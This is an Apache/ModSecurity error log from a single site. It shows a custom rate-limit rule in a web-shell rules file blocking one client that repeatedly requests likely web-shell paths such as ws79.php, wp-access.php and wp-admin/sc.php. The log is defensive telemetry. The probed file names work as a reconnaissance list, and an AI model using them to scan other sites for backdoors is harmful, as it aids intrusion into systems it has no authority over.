[Sat Feb 28 10:49:13.690576 2026] [:error] [pid 39185:tid 39260] [client 158.158.96.194:46514] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaJXqRVE-FfM89u7BQZObAAAAI4"]
[Sat Feb 28 10:49:14.357765 2026] [:error] [pid 39185:tid 39262] [client 158.158.96.194:42516] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "aaJXqhVE-FfM89u7BQZOcwAAAJA"]
[Sat Feb 28 10:49:15.058137 2026] [:error] [pid 52460:tid 52473] [client 158.158.96.194:5166] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "aaJXq7LWOogAgHGh62SiigAAAYo"]
[Sat Feb 28 10:49:15.579997 2026] [:error] [pid 39185:tid 39267] [client 158.158.96.194:42813] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "aaJXqxVE-FfM89u7BQZOfQAAAJU"]
[Sat Feb 28 10:49:16.262217 2026] [:error] [pid 39292:tid 39314] [client 158.158.96.194:5183] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws79.php"] [unique_id "aaJXrKIAO5fN7BxyqcGehgAAANQ"]
[Sat Feb 28 10:49:16.890985 2026] [:error] [pid 52460:tid 52466] [client 158.158.96.194:48697] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1061.php"] [unique_id "aaJXrLLWOogAgHGh62SijQAAAYM"]
[Sat Feb 28 10:49:17.804986 2026] [:error] [pid 52460:tid 52470] [client 158.158.96.194:49092] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1061.php"] [unique_id "aaJXrbLWOogAgHGh62SikQAAAYc"]
[Sat Feb 28 10:49:18.373769 2026] [:error] [pid 52460:tid 52472] [client 158.158.96.194:64638] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1061.php"] [unique_id "aaJXrrLWOogAgHGh62SimAAAAYk"]
[Sat Feb 28 10:49:19.101100 2026] [:error] [pid 52460:tid 52474] [client 158.158.96.194:47055] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1061.php"] [unique_id "aaJXr7LWOogAgHGh62SioAAAAYs"]
[Sat Feb 28 10:49:19.814114 2026] [:error] [pid 39185:tid 39269] [client 158.158.96.194:5762] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaJXrxVE-FfM89u7BQZOigAAAJc"]
[Sat Feb 28 10:49:20.633801 2026] [:error] [pid 11791:tid 11800] [client 158.158.96.194:53970] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaJXsGuX5e1Q32gqxH3OVAAAAQc"]
[Sat Feb 28 10:49:21.550627 2026] [:error] [pid 39185:tid 39263] [client 158.158.96.194:49131] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaJXsRVE-FfM89u7BQZOnAAAAJE"]
[Sat Feb 28 10:49:22.877709 2026] [:error] [pid 39185:tid 39251] [client 158.158.96.194:18074] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "aaJXshVE-FfM89u7BQZOrwAAAIU"]
[Sat Feb 28 10:49:23.807953 2026] [:error] [pid 39292:tid 39315] [client 158.158.96.194:18076] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaJXs6IAO5fN7BxyqcGeiwAAANU"]
[Sat Feb 28 10:49:24.742202 2026] [:error] [pid 52460:tid 52478] [client 158.158.96.194:5767] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaJXtLLWOogAgHGh62SirAAAAY8"]
[Sat Feb 28 10:49:25.431947 2026] [:error] [pid 52460:tid 52480] [client 158.158.96.194:43113] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaJXtbLWOogAgHGh62SirwAAAZE"]
[Sat Feb 28 10:49:26.451561 2026] [:error] [pid 11791:tid 11816] [client 158.158.96.194:5171] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aaJXtmuX5e1Q32gqxH3OXAAAARc"]
[Sat Feb 28 10:49:27.157280 2026] [:error] [pid 52460:tid 52485] [client 158.158.96.194:39127] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaJXt7LWOogAgHGh62SiuwAAAZY"]
[Sat Feb 28 10:49:28.138882 2026] [:error] [pid 11791:tid 11804] [client 158.158.96.194:39161] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaJXuGuX5e1Q32gqxH3OXQAAAQs"]
[Sat Feb 28 10:49:28.998203 2026] [:error] [pid 11791:tid 11807] [client 158.158.96.194:64621] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaJXuGuX5e1Q32gqxH3OXgAAAQ4"]
[Sat Feb 28 10:49:30.363229 2026] [:error] [pid 22194:tid 22202] [client 158.158.96.194:64579] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/05.php"] [unique_id "aaJXun6mbajs3bzQGysWUAAAAUY"]
[Sat Feb 28 10:49:31.986874 2026] [:error] [pid 39185:tid 39247] [client 158.158.96.194:5137] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaJXuxVE-FfM89u7BQZO2QAAAIE"]
[Sat Feb 28 10:49:33.432629 2026] [:error] [pid 11791:tid 11793] [client 158.158.96.194:60944] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaJXvWuX5e1Q32gqxH3OYgAAAQA"]
[Sat Feb 28 10:49:34.900768 2026] [:error] [pid 52460:tid 52485] [client 158.158.96.194:42771] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaJXvrLWOogAgHGh62Si0wAAAZY"]
[Sat Feb 28 10:49:36.327010 2026] [:error] [pid 52460:tid 52483] [client 158.158.96.194:39112] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aaJXwLLWOogAgHGh62Si1gAAAZQ"]
[Sat Feb 28 10:49:49.686504 2026] [:error] [pid 52460:tid 52481] [client 158.158.96.194:56876] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaJXzbLWOogAgHGh62Si-AAAAZI"]
[Sat Feb 28 10:49:50.692594 2026] [:error] [pid 52460:tid 52473] [client 158.158.96.194:5810] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaJXzrLWOogAgHGh62Si_AAAAYo"]
[Sat Feb 28 10:49:53.315227 2026] [:error] [pid 39185:tid 39260] [client 158.158.96.194:5375] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaJX0RVE-FfM89u7BQZPQAAAAI4"]
[Sat Feb 28 10:49:54.565486 2026] [:error] [pid 11791:tid 11808] [client 158.158.96.194:43648] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaJX0muX5e1Q32gqxH3OewAAAQ8"]
[Sat Feb 28 10:49:55.349429 2026] [:error] [pid 39185:tid 39247] [client 158.158.96.194:7554] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaJX0xVE-FfM89u7BQZPTQAAAIE"]
[Sat Feb 28 10:49:56.256641 2026] [:error] [pid 11791:tid 11798] [client 158.158.96.194:5360] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaJX1GuX5e1Q32gqxH3OgwAAAQU"]
[Sat Feb 28 10:49:56.840900 2026] [:error] [pid 39184:tid 39223] [client 158.158.96.194:48479] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaJX1FtZF9Zd_U7easC7nQAAAEQ"]
[Sat Feb 28 10:49:57.585078 2026] [:error] [pid 39292:tid 39310] [client 158.158.96.194:33665] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaJX1aIAO5fN7BxyqcGeowAAANA"]
[Sat Feb 28 10:49:58.153058 2026] [:error] [pid 39184:tid 39221] [client 158.158.96.194:52460] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaJX1ltZF9Zd_U7easC7ngAAAEI"]
[Sat Feb 28 10:49:58.984347 2026] [:error] [pid 39185:tid 39254] [client 158.158.96.194:43083] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaJX1hVE-FfM89u7BQZPWwAAAIg"]
[Sat Feb 28 10:49:59.555770 2026] [:error] [pid 11791:tid 11816] [client 158.158.96.194:5334] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaJX12uX5e1Q32gqxH3OhwAAARc"]
[Sat Feb 28 10:50:00.332383 2026] [:error] [pid 39185:tid 39261] [client 158.158.96.194:43709] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aaJX2BVE-FfM89u7BQZPYwAAAI8"]
[Sat Feb 28 10:50:00.896242 2026] [:error] [pid 11791:tid 11809] [client 158.158.96.194:7577] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaJX2GuX5e1Q32gqxH3OigAAARA"]
[Sat Feb 28 10:50:01.622107 2026] [:error] [pid 11791:tid 11814] [client 158.158.96.194:5314] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaJX2WuX5e1Q32gqxH3OjAAAARU"]
[Sat Feb 28 10:50:02.555829 2026] [:error] [pid 39292:tid 39295] [client 158.158.96.194:47070] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaJX2qIAO5fN7BxyqcGerAAAAME"]
[Sat Feb 28 10:50:03.539856 2026] [:error] [pid 22194:tid 22220] [client 158.158.96.194:5153] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaJX236mbajs3bzQGysWaQAAAVg"]
[Sat Feb 28 10:50:04.305482 2026] [:error] [pid 11791:tid 11794] [client 158.158.96.194:43107] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaJX3GuX5e1Q32gqxH3OkQAAAQE"]
[Sat Feb 28 10:50:05.271354 2026] [:error] [pid 39185:tid 39258] [client 158.158.96.194:47074] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaJX3RVE-FfM89u7BQZPeQAAAIw"]
[Sat Feb 28 10:50:05.988027 2026] [:error] [pid 39184:tid 39231] [client 158.158.96.194:7599] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaJX3VtZF9Zd_U7easC7ogAAAEw"]
[Sat Feb 28 10:50:07.010602 2026] [:error] [pid 11791:tid 11804] [client 158.158.96.194:5352] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rpk.php"] [unique_id "aaJX32uX5e1Q32gqxH3OnAAAAQs"]
[Sat Feb 28 10:50:07.696778 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:60930] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaJX3xVE-FfM89u7BQZPfgAAAII"]
[Sat Feb 28 10:50:09.000759 2026] [:error] [pid 11791:tid 11801] [client 158.158.96.194:5808] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaJX4GuX5e1Q32gqxH3OrQAAAQg"]
[Sat Feb 28 10:50:10.059627 2026] [:error] [pid 52460:tid 52470] [client 158.158.96.194:49093] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaJX4rLWOogAgHGh62SjHwAAAYc"]
[Sat Feb 28 10:50:10.714226 2026] [:error] [pid 39183:tid 39201] [client 158.158.96.194:48454] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaJX4hCf4HvhVePw3LbP4gAAAAk"]
[Sat Feb 28 10:50:11.768088 2026] [:error] [pid 39292:tid 39301] [client 158.158.96.194:33697] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aaJX46IAO5fN7BxyqcGetQAAAMc"]
[Sat Feb 28 10:50:12.532143 2026] [:error] [pid 39185:tid 39270] [client 158.158.96.194:7590] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aaJX5BVE-FfM89u7BQZPlAAAAJg"]
[Sat Feb 28 10:50:13.755487 2026] [:error] [pid 39185:tid 39251] [client 158.158.96.194:33687] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aaJX5RVE-FfM89u7BQZPnAAAAIU"]
[Sat Feb 28 10:50:14.408118 2026] [:error] [pid 52460:tid 52474] [client 158.158.96.194:51275] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/155.php"] [unique_id "aaJX5rLWOogAgHGh62SjJgAAAYs"]
[Sat Feb 28 10:50:15.046488 2026] [:error] [pid 22194:tid 22210] [client 158.158.96.194:35349] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e.php"] [unique_id "aaJX536mbajs3bzQGysWbQAAAU4"]
[Sat Feb 28 10:50:15.800764 2026] [:error] [pid 52460:tid 52484] [client 158.158.96.194:35366] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e.php"] [unique_id "aaJX57LWOogAgHGh62SjKgAAAZU"]
[Sat Feb 28 10:50:16.481365 2026] [:error] [pid 39185:tid 39270] [client 158.158.96.194:43662] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e.php"] [unique_id "aaJX6BVE-FfM89u7BQZPpQAAAJg"]
